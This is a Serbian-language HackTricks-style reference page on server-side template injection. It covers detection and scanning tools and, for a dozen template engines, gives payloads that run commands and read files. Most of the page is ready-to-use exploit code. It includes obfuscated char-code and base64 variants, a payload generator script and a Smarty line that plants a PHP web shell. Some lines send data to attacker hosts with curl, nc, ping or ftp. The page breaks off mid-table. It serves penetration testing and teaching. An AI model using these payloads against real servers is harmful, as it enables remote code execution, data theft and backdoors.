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# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
## Šta je SSTI (Server-Side Template Injection)
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može se naći u raznim tehnologijama, uključujući Jinja.
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji ilustruje ranjivi deo koda koristeći Jinja:
```python
output = template.render(name=request.args.get('name'))
```
U ovom ranjivom kodu, `name` parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći `render` funkciju. Ovo može potencijalno omogućiti napadaču da ubaci zlonamerni kod u `name` parametar, što dovodi do server-side template injection.
Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše engine-om za template, potencijalno stičući kontrolu nad serverom.
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što se ubaci u template. Implementacija validacije unosa i korišćenje tehnika za izbegavanje konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
### Detekcija
Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
- Izbačene greške, koje otkrivaju ranjivost i potencijalno engine za template.
- Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr., `{{7*7}}`, `${7*7}`).
- **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
#### Faza identifikacije
Identifikacija engine-a za template uključuje analizu poruka o greškama ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog engine-a za template.
#### Identifikacija putem payload-a
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Alati
### [TInjA](https://github.com/Hackmanit/TInjA)
efikasan SSTI + CSTI skener koji koristi nove poliglotove
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Tabela za injekciju šablona](https://github.com/Hackmanit/template-injection-table)
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija engine-a za šablone.
## Eksploati
### Generički
U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku:
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
### Java
**Java - Osnovna injekcija**
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Preuzmite sistemske promenljive okruženja**
```java
${T(java.lang.System).getenv()}
```
**Java - Preuzmi /etc/passwd**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
### FreeMarker (Java)
Možete isprobati svoje payload-ove na [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
- `{{7*7}} = {{7*7}}`
- `${7*7} = 49`
- `#{7*7} = 49 -- (legacy)`
- `${7*'7'} Nothing`
- `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Obilaženje sandboxes**
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
**Više informacija**
- U FreeMarker sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
```
**Više informacija**
- U Velocity sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
### Thymeleaf
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj template engine. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
- SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
- OGNL:
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf zahteva da se ovi izrazi postave unutar specifičnih atributa. Međutim, _inline izrazi_ su podržani za druge lokacije šablona, koristeći sintaksu poput `[[...]]` ili `[(...)]`. Tako, jednostavan SSTI test payload može izgledati kao `[[${7*7}]]`.
Međutim, verovatnoća da će ovaj payload raditi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje šablona; šabloni moraju biti unapred definisani. Programeri bi morali implementirati svoj `TemplateResolver` da kreiraju šablone iz stringova u hodu, što je retko.
Thymeleaf takođe nudi _preprocesiranje izraza_, gde se izrazi unutar dvostrukih donjih crta (`__...__`) preprocesiraju. Ova funkcija se može iskoristiti u konstrukciji izraza, kao što je prikazano u dokumentaciji Thymeleaf-a:
```java
#{selection.__${sel.code}__}
```
**Primer ranjivosti u Thymeleaf-u**
Razmotrite sledeći kod, koji bi mogao biti podložan eksploataciji:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
To znači da ako engine za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Više informacija**
- [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
{{#ref}}
el-expression-language.md
{{#endref}}
### Spring Framework (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Zaobilaženje filtera**
Više izraza varijabli može se koristiti, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
- Pročitajte `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
- Prilagođeni skript za generisanje payload-a
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
**Više informacija**
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Manipulacija prikazom u Spring-u (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
- [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{{#ref}}
el-expression-language.md
{{#endref}}
### Pebble (Java)
- `{{ someString.toUPPERCASE() }}`
Stara verzija Pebble ( < verzija 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Nova verzija Pebble:
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava je projekat otvorenog koda koji je razvio Hubspot, dostupan na [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Izvršavanje komandi**
Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
### Hubspot - HuBL (Java)
- `{% %}` delimitatori za izjave
- `{{ }}` delimitatori za izraze
- `{# #}` delimitatori za komentare
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
- `{{'a'.toUpperCase()}}` - "A"
- `{{'a'.concat('b')}}` - "ab"
- `{{'a'.getClass()}}` - java.lang.String
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**Više informacija**
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Expression Language - EL (Java)
- `${"aaaa"}` - "aaaa"
- `${99999+1}` - 100000.
- `#{7*7}` - 49
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su managed beans) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
- **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
- **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio nesmetanu interakciju između web sloja i managed beans, osiguravajući koherentniju strukturu aplikacije.
Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**:
{{#ref}}
el-expression-language.md
{{#endref}}
### Groovy (Java)
Sledeći zaobilaženja Security Manager-a preuzeta su iz ovog [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Other Java
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**Više informacija**
- U Smarty sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
- `{{7*'7'}} = 49`
- `{{1/0}} = Error`
- `{{foobar}} Nothing`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Format šablona**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Više informacija**
- U Twig i Twig (Sandboxed) sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Plates je engine za templating koji je nativan za PHP, inspirisan Twig-om. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi nativni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Stranica šablona:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Šablon rasporeda:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
### PHPlib i HTML_Template_PHPLIB (PHP)
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovan na Pear.
`authors.tpl`
```html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
`authors.php`
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
### Ostali PHP
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS)
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Više informacija**
- U Jade sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
### Handlebars (NodeJS)
Path Traversal (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
- \= Greška
- ${7\*7} = ${7\*7}
- Ništa
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Više informacija**
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender (NodeJS)
| **Šablon** | **Opis** |
|------------|----------------------------------------|
| | Evaluiraj i prikaži izlaz |
